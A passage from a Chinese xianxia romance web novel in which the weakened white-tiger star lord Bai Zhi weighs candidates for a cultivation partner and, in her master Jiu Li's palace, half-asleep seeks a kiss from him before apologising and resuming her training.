虽说人不能着相,但既然要成为道侣,以后难免要常常相对,长得赏心悦目些自然更好。 反正都不认识,那便看看长相投不投缘再作最后的选择。 加上长相这个条件后,一下子好选了许多,白芷一股脑又划掉几个。 划着划着,最后名单上便只剩两个名字。 昊阳仙君和顷竹仙君。 七彩雀陪着她一通忙活,看白芷双手拿着幻影石仔细地对比着,没忍住问道:“你到底在干什么?” “找道侣啊。”白芷大剌剌地说着,她把两个幻影石举到七彩雀两眼前,“你来看,哪个好?” “道侣?”七彩雀瞳孔睁大,仿佛是听到什么笑话,“你?” 什么嫌弃的表情,白芷有些不满,翻了个身坐起来。 “对,我,不可以吗?” “额”见白芷神情不似作假,不知怎么的,七彩雀快到嘴边的奚落还是没有说出口。 平心而论,白芷这厮,还算是长了一副好皮相的。且不论她的原身缟身如雪,无一丝杂毛,漂亮且威武。 化作人形时呢,七彩雀从上而下扫了榻上的人一眼 第86章 第86章你长得也算有几分姿色的…… 七彩雀见过最美的人,当属仙界的铃兰仙子,媚而不妖,温柔地仿佛能滴出水,每一个角度看都美得无暇。 眼前之人,平日里用顽劣调皮形容不为过。她被她作弄过无数次,从前也打过不少架 但至今还能成为挚友,她觉得,白芷的皮相应当居首功。 干净剔透的杏子眼,鼻梁小巧而挺直,明明性子倨傲,面容却如新月皎洁纯真。无论什么时候看她,她一直都很自在快活,浅浅的梨涡永远落在颊边,眉眼间的灵动之气蓬勃满溢。 她不似寻常仙人喜爱纯白之色,反之,她喜爱花团锦簇,喜爱各种生机勃勃的颜色,鹅黄,浅绿,嫣红,碧白,什么样的颜色穿在她身上都显得鲜活娇俏。 平心而论,若她在你眼前,你便很难将目光从她身上移开 这样的人,顽劣,恣意,潇洒,还有美好。 七彩雀承认,即便与白芷打闹了几万年,但在她心中,没人比白芷更好 谁能配得上她呢? 见白芷抿着嘴,双眸耷拉下来,七彩雀心里又不好受了。 好不容易活着回来,她还是别泼她冷水吧。 “可以的。”七彩雀缩了缩两肩,眼神闪烁了下,“你长得也算有几分姿色的。” “是吧?”白芷听完,眼眸亮了亮,立马来了精神,“给我做道侣也不至于太吃亏嘛。” “昊阳我倒是认识,这顷竹仙君,我却是一次未见过,你说说,他如何?”白芷把两个幻影丢给七彩雀,自己伸手拿了一串葡萄,一颗一颗捏着吃。 “顷竹仙君不行。”七彩雀听到名字就摇了摇头,她把幻影石挥开,坐到白芷旁侧的位置,脸上多了几分讲八卦的兴味。 “顷竹仙君长得虽好,但你不知,他与他之前的道侣,燕绯仙子,两人分开得不是很体面。”明明水榭内只有她们两人,七彩雀硬要凑到白芷耳边,压低了声音,“我听说,两人现在还藕断丝连呢” “”藕断丝连,那还是算了吧。 白芷倒是不介意顷竹仙君从前有过道侣,但以后要做她道侣的人,必定要洁身自好,要为她守身如玉,身子和心灵都是。 至少作为她道侣期间,要全身心地忠于她。 哎,看来,找一个合适的道侣不简单啊。 “仙界就这些人?” “不是啊。”七彩雀张嘴含住白芷给她剥的葡萄,“你不早说是要选道侣,要的急,左辅仙君只给了一部分,说都是仙界翘首,你若还想看,一会我再去把其他人的名册拿过来……” “嗯……”白芷抿了抿唇,“行吧。” 再看看吧- 白芷如今元神虚弱,易疲累,但到底性子活络,请醒时也不愿意长久呆在屋里,七彩雀便带她在九重天闲逛。 在九重天居住许久,白芷还是第一次这样深度游览。 也不知是不是离开太久,许多往常习以为常的东西,现下看着觉得甚是新鲜别致。 譬如水榭后面那片云海,她记得刚来九重天时,无聊时常常跑去那里小憩,一睡便是几日。 不过那云海虽说柔软舒服,但目之所及尽是洁白如霜的云层,又因为是九黎的居所,那些云层常常自带金光,耀眼得很,久而久之她就没再去过了。 但现在这处地方好似从前不太一样了。 单调的洁白四周不知何时栽种了一圈粉色花梨,她其实不太懂这些花草的品类。 不过正巧这种花梨,从前母神神邸里也栽种了几株,是父神为了讨母神喜欢,专门跑去南芜密林里寻来的。 这花 梨并不好养,连母神都养坏了几株,心疼得不行。 所以她从前即使很喜欢,也没有动过自己栽种的念头。 但如今,这云海里居然栽了一大片 虽不是花季,但这些花梨长势喜人,不难预料开花时会是怎样的盛景。 白虎坐在七彩雀背上,轻扯了她那根朱色羽翼,问:“这是什么时候栽的?我怎不知?” 七彩雀收了羽翼,双脚落在其中一株花梨木上,忍不住翻了翻眼,内心想说:你当然不知,哪次在九重天能安稳待着? 但见背上身影轻弱,到底还是不忍对她冷脸,“什么时候我也忘了,大概是你跑去神冢那几年吧……” 白芷常年不在九重天,就算回来了也很难找到她的身影,在外面也不知道如何疯玩,每次回来寻一片云层就地睡个十天半月都是常事。 原本云海是她最经常歇脚的地方,但有一次回来后,她忽地埋怨那里的金光太过耀眼 她不去后,那片地几乎就无人踏足。 许是觉得那地终于清净,不久后,神尊不知从哪寻来了这些花梨小苗,一株一株亲手栽种。 到如今长成,之间不知又流逝了多少岁月 见白芷伸手欲触碰那花梨的骨朵,七彩雀忙阻道:“诶,神尊亲手种的呢,这处地方侍草的仙人不来,平日里都是神尊亲自打理的,你可注意着,别碰坏了。” “哦”白虎讪讪收回手。 师尊也喜欢花梨么?怎么从前在母神处没见他看过那些花梨木一眼 怪哉怪哉。 回到水榭后,七彩雀又去帮她寻吃食去了,九重天上能吃的东西并不多,白虎天天饮朝露也腻了,师尊又不让她离开九重天,七彩雀只好隐身去仙界帮她找去 白芷懒洋洋躺在榻上,无聊时勾了勾系在腰间的乾坤袋,忽然起了兴致,把乾坤袋摘下,眼睛凑到袋口。 小小的乾坤袋里别有洞天,各式珍宝琳琅满目,白芷忍不住叹了一声,惊叹玄武这人几万年竟然深藏不露,里面好几样东西她曾经也很感兴趣,例如里头那把麓林星琴,她好不容易潜入麓林,打败了好几只凶兽,负了不轻的伤进了那些凶兽守着的麓林宝库,却没想到,那把传说中一缕琴音便能召唤凤凰,治愈生灵的仙琴早已不知所踪。 原来已经被玄武纳入囊中了。 白虎只是看着,没有伸手触碰。她目光从各式宝物上逡巡而过,最后落在玄武说的那几株北海仙草。 这几株仙草也是难得的宝物,既然玄武说送她,她就不客气了。 口腹之欲,若是当做乐趣还好但总不能让七彩雀日日替她到处找吃的,传出去她白虎星君的面子放在何处 这几株仙草服下,至少十年半载不用麻烦七彩雀 不过这几株仙草还未炼化,这事还得找师尊帮忙。 白芷伸手将那株仙草握到手中,捏了个诀,换了一身碧水青烟裙,而后站在镜前看了看,用搭配的玉华丝带把披散在身后的满头黑丝系上……- 今非昔比,出了临云水榭,白芷不打算使用灵力,而是走路去凌霄殿。 平时在云层上看着,凌霄殿离临云水榭不算太远。但走了好一会,凌霄殿的牌匾还是遥不可及…… 白芷走得有些气喘,只好坐在栏沿边上休息一会。 远远望着,凌霄殿屹立在绵延层叠的云层中,牌匾四周雕刻着古老而精美的花纹,神秘而庄重。 那花纹是曾经的神文,如今世上能读懂的人,已经寥寥无几了。 哎,原来水榭离凌霄殿并不近啊。 白芷单手倚在凌霄殿前的那跟通天红柱上,止不住气喘吁吁。 谁能想到,从前潇洒叱咤在四海八荒中,无人敢惹的白虎星君,如今只是因为走了几步路,就累得有些眼冒金星。 说去说去,还是得尽快找个道侣才行。 只是人选还不太好办,筛选了一轮,暂时只剩下昊阳仙君,万一他不愿意 总不能仗着辈分高把人抢来吧,他那个仙帝老子不得天天上九重天来堵她? 此事还得从长计议,要不寻个时机去他的仙府探探他愿不愿意再作定夺? 如果愿意,再请师尊为他们证婚,这样也不会太委屈他…… 凌霄殿门前并无人值守,只是门上落了结界,但这结界并不对白芷起作用,她把手搭在门上,轻轻使力,就把门推开了。 进门后,白虎立在门边,双手相抵颇是郑重地行了个礼,“师尊,徒儿有事相求。” 按理说她进来,师尊应该知道才对,但好一会,屋内都是一片寂静 “师尊?” 还是无人应答。 难道不在? 师尊在兰因殿? 白虎只好又转头去兰因殿寻人,兰因殿外的结界还是没有拦她,但进去一看,殿内还是无人 不是吧,她好不容易走到这里,现下饥肠辘辘,她可没有力气再走回去。 近来三界又没什么事,师尊无事又不离开九重天,还是在这里等他回来吧七彩雀晚些回水榭寻不到她,应该也会来此处寻她,届时再让她把自己带回去。 闭关的密室没有九黎灵力开启进不去,但密室外的屋子经她多年蚂蚁搬家似的一点点改变,几乎处处合她心意,呆起来倒是没有半分拘束。 实在饿急,白芷在自己的乾坤袋里翻找了一会,翻到几颗银色的药丸 存放的年份已久,她有些忘了这几颗药丸有什么妙用。想到她如今这幅虚弱的身子,也不敢乱服用,只好又塞了回去。 看了一圈,桌子上有前两日她闭关前吃剩放在桌上的半块茉莉茶饼。师尊这两日应不在这里,所以茶饼还没被清理掉。 吃咯,还能嫌弃不成。 三两口就吃完,聊胜于无,白芷随手从软榻边上的小桌上拿起一本话本子。 几千年前从凡界带回来的,翻了几页,白芷觉得里头的内容都有些过时了,索性又放回。 有些无趣,她抱着双膝坐在软塌上,圆圆的杏儿眼也耷拉下来,半掩住两抹清澈的光亮。 她琢磨着,下次寻个棋盘放在这,也好解闷。 头上的玉华丝带可能是系得不够紧,经过一路奔波,又在榻上蹭了一番,已经有些松垮。因低着头,好些发丝从丝带里滑落出来,白芷索性把丝带扯下,一头青丝瞬间由肩上垂落到胸前。 把摘下的丝带环绕在手腕处,白芷躺下欲闭目养神。 屋内残留九黎的灵力,白芷伸出食指在空气里绕了几圈,将那些灵力聚集起来,而后,借力向空中挥去。 光亮堂皇的屋内立刻像蒙了一层灰砂,只留下月华般黯而柔和的光亮。 这样还差不多,不然那么亮如何休憩,白芷满意地弯了弯唇角,而后转了个身,闭上了眼。 在她睡过去不久,兰因殿外的结界如水纹般轻飘地晃了几下,而后,屋内多了一道身影。 九黎并未掩盖自己的气息,但白芷睡得香甜,且以她如今的修为,五感与凡人也没太大差异,她向来睡得沉,即使此刻有人将她拎走,她也不一定能发觉。 从结界外踏入,光暗瞬间切换,九黎下意识眯了眯眸。 他生来神躯,与天地同源,对他来说,光与暗并无区别。 有些反应只是一种习惯。 在凡间时的习惯。 此刻,他毫不意外他的空间里多了一个人。 或者说,是因为多了这个人,他才会在此刻出现在这里。 一步一步往窗边的软塌靠近,直到看到榻上的身影,心头上那股不上不下,说不清道不明的感觉才慢慢散开。 那股异样,从在下星海感受到结界内波动开始。 他以为找不到他,她就会离开,可过了很久,结界都没有动过。 她还在等他。 意识到这一点时,他目光正好落在桑尤额间刺眼的血色魔纹,恍然间,九黎听见胸腔落下一声清晰地震动。 第87章 第87章她在向他索吻 即便屋内昏暗,可对九黎来说,光暗不影响他视物。 榻上的女子脸朝内,侧蜷着身子,青丝长而黑亮,仿佛绸缎一般,略过她瘦削的肩,长长垂落到地上。 小脸血色不显,愈发显得那张俏脸莹白得发亮,像他打理的花梨树,有种易折的脆弱感。 九黎知道她会来,只不过没想到那 么快。 她如今太弱了。 原本陪她轮回就是要为她重塑魂魄,抽回自己为她收敛元神时取出的那一魂一魄。可轮回到底出了点小差错,时间太短以致于他那一魂一魄还不够时机收回。 他也是上次闭关时才发现,他无法在她身上取回完整的一魂一魄。 她如今灵力不足,禁受不住他强行抽取。况且,若没有他残留的那些魂力在她身上,恐怕她会更虚弱。 但事情总有两面,他的魂力一方面能稳固她的元神,但另一方面,却会让那缕新塑的魂魄更难被融合 眼下也没有更好的办法,只能等她身子慢慢恢复,再寻适当的时机慢慢抽取。 原本以为禁止她离开九重天,她或许会有些怨念,没想到,她听完,只一会便乖乖接受了。 榻上的女子在睡梦中不知梦到什么,翻了个身,伸手在脸颊边抓了几下,嗫嗫喏喏不知嘟囔了几句什么。 最后清晰传到九黎耳边的,只剩一声又低又哑的“痛。” 紧皱的眉眼,唇上淡淡的牙印 可怜得让人心疼。 九黎身子微微往下,眸底的清淡疏离被半昏的光影隐去,他的声音放得很轻,恍若天边的禅音。 “哪里痛?” 白芷或许还在梦里,无意识地抓着胸前的衣服,唇上的牙印愈发深了些,两颊慢慢晕满了薄汗,仿佛痛得无法忍受。 九黎掀开薄毯的一侧,将手落在她的手腕处。 黑暗中,如海水般湛蓝的灵力从他指间慢慢流出,慢慢包裹住那具发抖的身躯 好烫好烫 到处都是熊熊的火焰,那些火焰像无处不在的蛇信子,怎么躲都躲不开。 又热又痛,若有意识,白芷宁愿用昏倒来抵抗这些不适。好在慢慢地,从地底开始沁出一丝丝雨露甘霖,那些甘霖从她脚底往上,将她身上的烈焰席卷扑灭。 她的眼睛似被灼伤,她很想睁开眼,看看是谁救她于水火,但怎么挣扎都睁不开。 虽看不见,但鼻翼间尽是一股冰冷清新的气息 是她很熟悉的气息,只是她一时间想不出这气息归属何人。 但也管不了那么多了,她太难受了。不想重新被卷入那灼人的无情烈焰中,她只能死死地抓住这抹清凉气息。 待榻上的人气息变得平稳,紧皱的眉头渐渐松泛,两颊的发丝在他灵力之下变得干爽,九黎指间离开她的手腕。 他拿起被他掀开的薄毯一角,欲藏起那截扎眼的莹白时,指尖忽地被握住 突如其来的动作,九黎在不轻不重的拉扯下,原本要直起的身子重新坐回到榻边。 身子虚弱,性子却还是一如既往地霸道。 不知想到什么,九黎脸上一抹嗤笑一晃而过,仿佛幻觉。 然终是走神,一时不察,手臂被榻上的女子扯了过去,半截手掌被她藏入薄毯下。 他看不见薄毯下的动作,只是感觉到那只将他拖走的柔软小手,紧紧地攥着他的指尖。 她的手心还很是滚烫,可以想象,她在经受着何等的不适。 兽类天生趋利避害,他的手掌冰冷,所以九黎不欲多想,既然能让她舒服些 但她放开了 九黎眉头蹙了蹙。 灼烫的手掌在薄毯下与他掌心相对,一根根柔软的手指慢慢滑进他的指缝间,毫无缝隙地敛合 温度交融,分不清是冰冷还是灼热。 他的视线落在薄毯上交握的手掌,瞳里仿佛晕着极致无底的黑沉。 这样下去不行,他的魂魄残余在她元神内,于两人都不是好事。 作为师尊,他可以舍一魂一魄救她,甚至为了帮她重塑魂魄,他们曾经在凡间有过世俗的接触。 但他很清楚,那些接触,仅限在那段短短的轮回中。 在他漫长的神涯中,这只是一场寻常得不能再寻常的低阶修炼,是他应该为大义拯救三界而差点殒命的徒弟做的。 如今两人均已归位,这样的动作,对师徒来说,过于亲昵了。 她意识不清,而他应该马上抽回手。 榻上的人儿对周边忽然变化的气息丝毫不察,显然,她对手心的冰凉很是喜欢,拇指不时摩挲,惹得被握住手指的人脸色愈发不悦。 握着那截冰凉,白芷觉得整个人仿佛被置于清泉里,通身舒畅得不行。 身上的不适消逝后,意识渐渐开始转醒,只是眼皮还有些重,迷迷糊糊睁开眼时,她好似在昏暗中看到一道熟悉的身影。 虽然看不到那人神情,但眼前人雪衣黑发,身姿挺拔,身上的总有一股天生的孤冷。 白芷闭着眼,唇角却弯了弯,握紧与她十指相扣的那只手掌,将那道身影拉得更近些。 拉至两人鼻翼即将相抵时,她才微微侧点脸,软软地在他耳边喊了一声。 “哥哥。” 九黎没想到白芷清醒后,第一时间不是放开他,而是对他露出了一个…十分惹人怜爱的笑。 黑沉无波的瞳孔因这句轻浅得有些模糊的话语急速收缩,前一刻还觉得手指相交扣过于亲昵不妥的他,因这声软软的哥哥,怔住,而后,整个人变得僵硬。 那股不对劲的感觉又出来了。 白芷迷糊间瞥到身侧坐着个身影,恍惚以为自己还在尘世,她还是那个天真灿烂的小姑娘怀夕。 她以为哥哥又在床边等她起身。 习惯性地,她将他们交缠的手掌拉到胸前,直到那道身影压下来的时候,她驾轻就熟地微微抬起下颌。 那是索吻的姿势。 是哥哥成为她的夫君后,教会她的事。 ——哥哥说他们是夫妻,她要时时习惯作为夫妻该有的亲密。 每次睡醒后,只要哥哥在身边,无论他在做什么,他总会停下来,将她拥入怀里。 那双向来如寒冰沉静而冷清的双眸,看向她时会化出旖旎的湿润。哥哥总是会在那个时候俯下身,落下让她心颤的吻。 她向来聪慧,次数多了,每每哥哥俯身下来,她便会主动抬起下颌,送上自己的柔软。 哥哥不止一次夸她聪明,夸她乖。 但她从来没有解释,其实并不是她有悟性,也不是她学得快,她只是很喜欢那种感觉。 让她震颤的新奇感受,还有,那个时候他的模样。 就像是原本云雾缭绕,处于高山之巅的皑皑冰雪,被你捧在指尖时,它会化作晶莹流动的冰泉,流淌,牵绕,化作生机勃勃的温暖泉流…… === 那只是一场轮回,一段修炼 九黎很清楚,那短短凡世二十年,归根结底,只是一段幻象。 但幻象中彼此曾经亲密过的默契和记忆,都作不得假。 因为朝夕相处过,亲密过,他太清楚,她的每一个举动,一颦一笑,喜怒哀乐,是什么样子。 他知道,她没睡醒的时候,常常会做些令人意想不到的事情。 譬如此刻,她在向他索吻。 她怎么可以那么大胆呢? 这甚至是大逆不道。 而仰着下颌迟迟得不到回应的小人儿,也慢慢开始清醒。 手心里沁人的冰凉,冷淡而幽邃的黑眸,凛冽的雪松气息,比之从前愈发清越绝滟的俊颜所有陌生又熟悉的事物在她意识回笼时齐齐叩击、谴责着她刚刚一系列无状的行为。 她是白芷啊。 她在做什么? 眼前的情形不难整理 她那圣洁崇高的师尊被她强扯在榻边,近到她能在昏暗中看清他的每一根眼睫近到她们的呼吸交融在一块,近到她只要再微微抬头,就能 她在乱想什么! 便只是想象,也是对师尊的一种玷污。 仿佛被临头浇了一盆冰水,理智迅速回笼。白芷立马往右边偏开头,慌忙乱滚下榻欲跪到地上请罪 跪地时略有阻拦,她才发现,她手上还紧扣着师尊的手 罪过啊罪过啊。 白芷立马把自己的手甩出来。亵渎神灵的罪过,她再死一百遍都洗不清 顺利从床榻滚下来,来不及整理裙着,砰地一下,她双膝毫不留情地用力跪下。 “师尊,是徒儿睡晕了头,神思不清,行为无状,不慎冒犯师尊,求师尊责原谅。” 责罚到嘴边时,白芷鬼使神差吞了回去,换成“原谅”二字。 好一会,耳畔边是无声的宁静,凛冽的 雪松气息恍若淡薄了些,白芷俯着身跪在地上,不由自主地屏住呼吸。 这次,好像只是认错还不够 她不由得回想起之前每一次被惩罚的经历。 师徒那么多年,她闯了大大小小不少祸,但说到底,师尊好像也没有真的怎么罚过她。 首功当然是归于他作为师尊宽阔的胸怀,但她想说每次闯祸其实都是事出有因她也不是没脑子地盲冲,与人对阵时自然会先掂量掂量自己能不能搞定对方。 就像在九黎面前,她从来都是乖巧听话的,当然,说不好听,也就是认怂。每每惹祸,不用他说,她第一时间就会坦白认错。 或许是见她认错态度良好,九黎大部分时候还是轻拿轻放。 她还没在他面前体验过这样逼仄压迫的气息 因为她的冒犯,师尊生气了吧? 第88章 第88章只要他有,只要她要。…… “起来。”九黎冷冷地看着地上跪着的那道身影,声音低沉而冰冷。 明明他们距离不足两步,白芷不明白师尊说话时为什么要加持灵力。 加持灵力之后,他的声音仿佛从九天之外传来,空灵而又幽远,带着一种让人心悸的圣洁,让人既心生向往又畏惧,仿佛多听一句,都会亵渎这份神圣。 白芷抬起头,却依旧不敢起来。 碧水青烟裙因她跪下的动作在地上铺散开来,像是流淌的清泉,无声蔓延开来。 白芷小心翼翼地把盖在九黎锦白衣袍上的一角衣裙拉回 她没有起来,九黎也没有再开口,小小的空间里弥漫着令人窒息的沉默。 白芷死死咬了下唇,脑袋急速运转。 既然无法补救,只能乖乖认错,这点觉悟她向来是有的。 “师尊,我错了。”白芷顶着威压抬头,起誓般郑重,“以后我定然会谨言慎行,绝不会再出现这样无理冒犯的行为。” “我保证,无事我尽量少在师尊面前晃悠,不惹事,多修炼,不给师尊添麻烦,不” 白芷并不是敷衍了事,反之,她认错的态度无比诚恳,但话还没说完,身子被一缕泛蓝的灵力团团圈住,促使她不得不站起来。 诶诶诶,她话还没说完呢。 说这些表忠心表态度的话,若不跪着,站起来讲,味道就有点不对了。 但那缕灵力还缠绕在身上,双膝根本跪不下去 白芷心里瞬时又多了几分愧疚,她亵渎师尊,师尊还这般宽宏大量免了她跪 软榻矮矮的,榻上的薄毯因她起身前胡乱一踢,半边垂落,显得有些杂乱。 白芷偷偷抬眸瞥了瞥榻上端坐着的人因站起来后,她比那人还要高,反而看不到他眼眸里的神色。 眸底神色虽不清,但脸色确实不算好看。白芷拿不准他到底有没有原谅自己,一时间又不知道该如何开口。 懊悔快要漫出心头,早知道就不来了,那几株仙草一定要吃吗! 总不能两人就这样僵着。 白芷偷偷捏了捏掌心,又低低地唤了一声:“师尊。” 语气里带着一丝哀求。 九黎是天地万物之神,睥睨三界,天威凛凛。很少有人敢于直视他,所以,鲜有人知,其实,他们的神尊,长着一副足予与他身份相衬的容颜。 集天地钟灵毓秀,松间明月,林中清泉,雾里云花也不及他一分容色,清隽得让人不敢直视。 白芷一开始只是想试图从他平静无波的神情窥视出一丝端倪,没想到看着看着,竟有些失神。 好在九黎抬眸看她之时,她及时收回视线。 “还有呢?”九黎看着她,眼神淡淡。 还有什么? 哦白芷反应过来,她还没有表完态。 “还有,以后师尊说什么就是什么,徒儿都照做,唯师尊马首是瞻,绝无异议。”白芷说话时都紧盯着九黎的眼眸,生怕他看不出自己的坚定。 认错的人,偏偏站着,一副居高临下的姿态。 而居于下位的人,虽看似掌握一切,殊不知,他的喜怒牵于一人之手。 白芷又表了好些衷心,反正不知道哪句话说对了,总之,师尊脸色稍霁,终于从榻上站起来。 一站起,给人的威压更甚。 白芷的目光追随着他的眼眸,脸庞从微垂到高高仰起,直到听他轻轻启唇落下一句话,她才展开笑颜,大大松了一口气。 “走吧。”九黎落下这句话,便抬脚往密室里走去。 反正先续命吧,白芷低着头亦步亦趋跟在后面,边走边从乾坤袋里掏出玄武给她的几株仙草,心里暗暗下决定,这次闭关后,还是把道侣的事敲定吧- 这次闭关修炼比上次又久了一些,不过身在结界里,对时间的流逝并不敏锐。 白芷的身子承受能力目前比较弱,修炼也只能先慢慢筑基。 祭阵前的白芷修为已将至神仙境,按理说,筑基这种低阶的修炼对她来说,应该非常简单。 偏偏人在巅峰呆久了,对一些细枝末节的事情,往往不是很有耐心。 但她如今元神不稳,稍不慎就容易走火入魔,甚至殒命,所以此时最重要的便是耐心。 九黎算是摸透她的性子,即便是仙人眼里都简单得不能再简单的筑基,他也是全程看着。 不过显然,白芷并没有完全理解九黎的苦心。 她没想到,堂堂白虎星君有一日会连简单的控物都难做到。 当手心的火苗再次灼到自己时,白芷痛得忍不住低呼一声,脾气一来,索性把掌心收紧,直接绞灭火苗。 结果气也没消,掌心却更痛了 白芷坐在金光莲座上,收了气息,十分丧气。 她垂头看着腰间的乾坤袋,再抬眸看看对面莲座上的人。 四目相对。 师尊不在神游最好。 白芷将乾坤袋握在手心,几株仙草从乾坤袋中飘至九黎眼前。 “北海仙草。”九黎瞥了一眼那几株绿意盎然的仙草,淡淡说道。 白芷就势由坐转跪,听见九黎的话,颇有些谄媚地说道:“师尊好眼力。” 九黎静静地看着她。 白芷知道他在自己解释。 “北海为极阴之地,能长出这几株仙草实属难得。玄武前两日来时知徒儿魂魄相斥,便将这几株仙草赠予徒儿。”白芷丝毫没有隐瞒,全盘托出,只是后面想寻求帮忙的话不知怎么突然觉得有些难以启齿,她干干笑了两声,才硬着头皮继续说道:“徒儿如今修为不足,无法自行炼化,若是师尊方便,能否帮徒儿” 往常哪里会出现这样的情况? 他们师徒感情虽比寻常师徒淡薄些,但毕竟从母神还在时他们便相识了,还未做他徒弟时,白芷对这位九黎神尊可没有那 么客气。 那时她是母神身边最骁勇威武的护卫星君,而九黎还未成为神尊。虽然那个时候,他已然如现在这般沉默寡言,但毕竟一同住在母神的神祗时,抬头不见低头见。 白芷自认为,两人还是有些交情的。 从前母神不时便会让几位神君和他们四个护卫星君组队去秘境历练,九黎不合群,其他星君不愿选他,所以同样没人选的她自然而然只能和他组队。 一开始,白芷以为这位神君大抵不好侍候,敬而远之,秘境里能自己闯便自己闯,遇到危险时也拘着不愿呼救。 但后来多次危险之际,那位冷冰冰的神君总是会出手相助,并且在出秘境时,他也甚是大方,寻到的珍宝全都摊开,任她挑选。 久而久之,白芷便对他多了不一样的印象:还算义气,十分大方。 后来成为他的弟子,他出手更是阔绰。总之,四海八荒的珍宝,只要他有,只要她要。 白芷指尖扣紧掌心,“恳请师尊帮徒儿炼化。” 九黎看着吞吞吐吐的女子,眉心皱了皱,什么都没说,伸手接过那几株仙草。 很快,那几株仙草被他的灵力包围裹住 炼化仙草的空隙,两人都没有再开口。 其实炼化时间不用很久,但因太过于安静,白芷觉得每分每秒似乎都被拉长了不少。 虽然九黎没叫起,但懒散惯了,跪了一会,白芷不着痕迹微调成打坐的姿势,任由莲瓣暖洋洋的灵力溢散在身旁四周,帮助她疏通经络。 看似认真打坐,但其实却是在神游天际。 发呆之际,仙草已经炼成,待白芷回神,九黎已经立在她的莲座边。 白芷赶紧把手撑在身后,整个身子往后退了退,留下一块足够他坐下的位置。 位置不算逼仄,只是九黎威压太强,坐下之际白芷忍不住跪起,整个身子微微往后仰 九黎觑了一眼她的姿势,突然冷哼道:“从前不知道你这般爱跪。” “” 白芷这才反应过来,自己在等待仙草炼化的间隙改了姿势,没在发现前及时调整回来 所以,师尊是觉得自己认错态度不良好么? 莲座上两人四目相对,九黎神色淡淡,永远一副不起波澜的模样,而白芷睁着圆溜溜的杏眼,两颊在尴尬下晕出两团粉色,最后还是她先垂下眸,咬着唇,不知是羞赧还是不乐意,扭扭捏捏吐出一句:“我知道错了。” 因理亏,说完后,白芷便闭上眼睛,双手平搭在双膝,无声向九黎传递着一个讯息:眼下还是修炼重要。 九黎默然地看着她闭眼,看着她乌黑的眼睫如轻颤的蝴蝶,微微印着牙印的唇瓣,气闷得微微鼓起的粉颊,交叠的衣袍 连他都不知道,他黑沉的瞳孔了多了一抹不易察觉的柔意 收回眼神时,没有错过她平搭在膝上的右手,虎口处有灼伤的痕迹。 九黎恍然,原来刚刚是怕痛,才中断修炼。 他伸手,落在她右手手腕上,往身旁拉近。 闭着眼正准备进入神游状态的白芷察觉到碰触,不知想到什么,一瞬间心惊,睁开眼。 因手腕被拉过去,身子自然而然也跟着往前倾,白芷遂抬起另一只手抵在九黎的膝上,避免因身子不稳整个人倒过去。 “师尊,你”还未问出口,便看到九黎拨开她的掌心 掌心处被刚刚控火时蹿升的火苗灼伤,刚刚还只是火辣辣的痛,如今再看,灼伤处伤口翻出皮,虽不血腥,但难看得很 白芷下意识想把手伸回,不想给他看到。 当然,手没抽回来。 九黎皱了皱眉,“为什么不说?” 若说先前下跪时,白芷只是猜测九黎心情不悦,眼下却是很肯定了。 又给师尊惹麻烦了白芷心里很是挫败,“我错了。” 九黎把手覆在她掌心上,再收回时,那道伤口不顾存在,掌心干净粉白。 第89章 第89章身心舒爽得不得了 白芷通体舒畅,从结界里踏出来的脚步甚是轻快。 入眼便是她进去前还未来得及收拾的软榻,软踏上的薄毯半边垂落,两三本她看了觉得过时的话本子还翻开着,被她随手放在旁侧的小玉桌上。 白芷竖着耳朵,小心翼翼往身后的结界瞥了一眼。 察觉不到动静,她快步走到榻前,把几本话本子翻整好,把毯子整齐叠好,再四处看了一眼,确保此处如她来前那般整洁有序。 收拾好之后,她也不欲久留,提起脚步准备离开兰因殿。 但不知想到什么,她走到殿门边时,又返身回去。 她掏出自己的乾坤袋,把榻上的薄毯,桌上十几本书,目之所及,从前有意无意落在这里的东西,全都扫了进去。 看着眼前干净利落的台面,好似心头似有若无的杂乱也被一扫而空。 这次在密室呆得时间不长,但大概是有了玄武给她的那几株仙草,临出来时师尊又不知往她嘴里塞了好几样什么东西,总之,她很久没有感觉这样轻飘飘的感觉,连走路都带着风,身心舒爽得不得了。 临走时师尊说了,下次再修炼,就可以慢慢进入筑基阶段了。 仿佛看到曙光,白芷心情好得不得了,她得回去调息几日,好好准备一下。 刚走到凌霄殿外的回廊上,迎头便碰到日日来这里等她的七彩雀。 自从上次白芷在水榭晕倒过一次,七彩雀多少有些不放心她单独一人。 闲着也是闲着,索性来这里等一阵。虽不知道白芷何时从兰因殿出来,但如今与从前不同,白芷和神尊闭关不会动辄百年千年。 其实也不能算是闭关,依七彩雀来看,白芷是过来疗伤的。 “诶,诶,你怎么在这?”白芷刚绕过一道回廊,就看到七彩雀,便抬手朝她挥了挥。 听见她的声音,七彩雀瞬息间从长廊尽头来到她眼前。 明明见到人很开心,偏偏到了眼前,还要强压着嘴角,表情颇有些不情不愿的意味:“等你啊。” 白芷知道她嘴硬心软,也不点破,伸手就揽住她的肩,“又给我准备什么好吃的了。” 说到这,七彩雀忽然想起,前几日白芷离开后,仙帝让人往临云水榭送来了好几箱的东西。 也不是什么名贵稀有的珍品,尽是什么仙露玉液、仙果蟠桃,总之,都是可以让白芷拿来果腹的东西。 七彩雀如是跟白芷说了,白芷听完倒也不是很意外,她回来本来就不是什么秘密,既然仙帝一番好意,她没理由不接纳。 回到临云水榭,白芷先用七彩雀准备好的云露泡了个澡,换了一身衣裙。 眼下虽不饿,但见桌上放了一盘仙桃,果子色泽明亮,看着柔软鲜美,白芷随手取了一个,放到嘴边咬了一口。 果然是汁水充足,果味清甜。 七彩雀从屋内进来,看到白芷散着满肩头发,单手撑在下颌处,拿着一个果子有一下没一下地啃着,表情很是满足…… 这点出息,七彩雀内心腹诽。 “呀雀儿,快过来,我正有话同你说呢。” “什么雀儿,我有名字,叫灵环。”七彩雀很不高兴,一挥手把桌上剩下的果子都收起。 “知道啦,雀儿不是母神给你取的小名嘛。”白芷故意逗她,“你不喜欢下次我不叫了,行吧?” 也不是不喜欢 只是叫她这个名字的人,大部分都已经不在了 “随你。”七彩雀走到桌前坐下,知道白芷想问什么,她主动提起,“其他仙员名单我都看过了。” 七彩雀摇了摇头,“都不适合你,修水冰系的仙者太少了。” 修火系或水系一般是要有先天灵根禀赋,否则修这两系难有大成,因此大部分仙者更愿意修土系木系这种顺应大地之本与生机疗愈之仙法。 “前两日我去找昊阳仙君了。” “嗯?”白芷有些惊讶,嘴里的桃果未吞下,险些噎住。 知道双修对如今的白芷大有益处后,七彩雀也是很积极帮她过了一遍人选。 她合计筛选了一遍,结果很是清晰,昊阳仙君是最好的人选,修行品性外貌,都无可指摘。 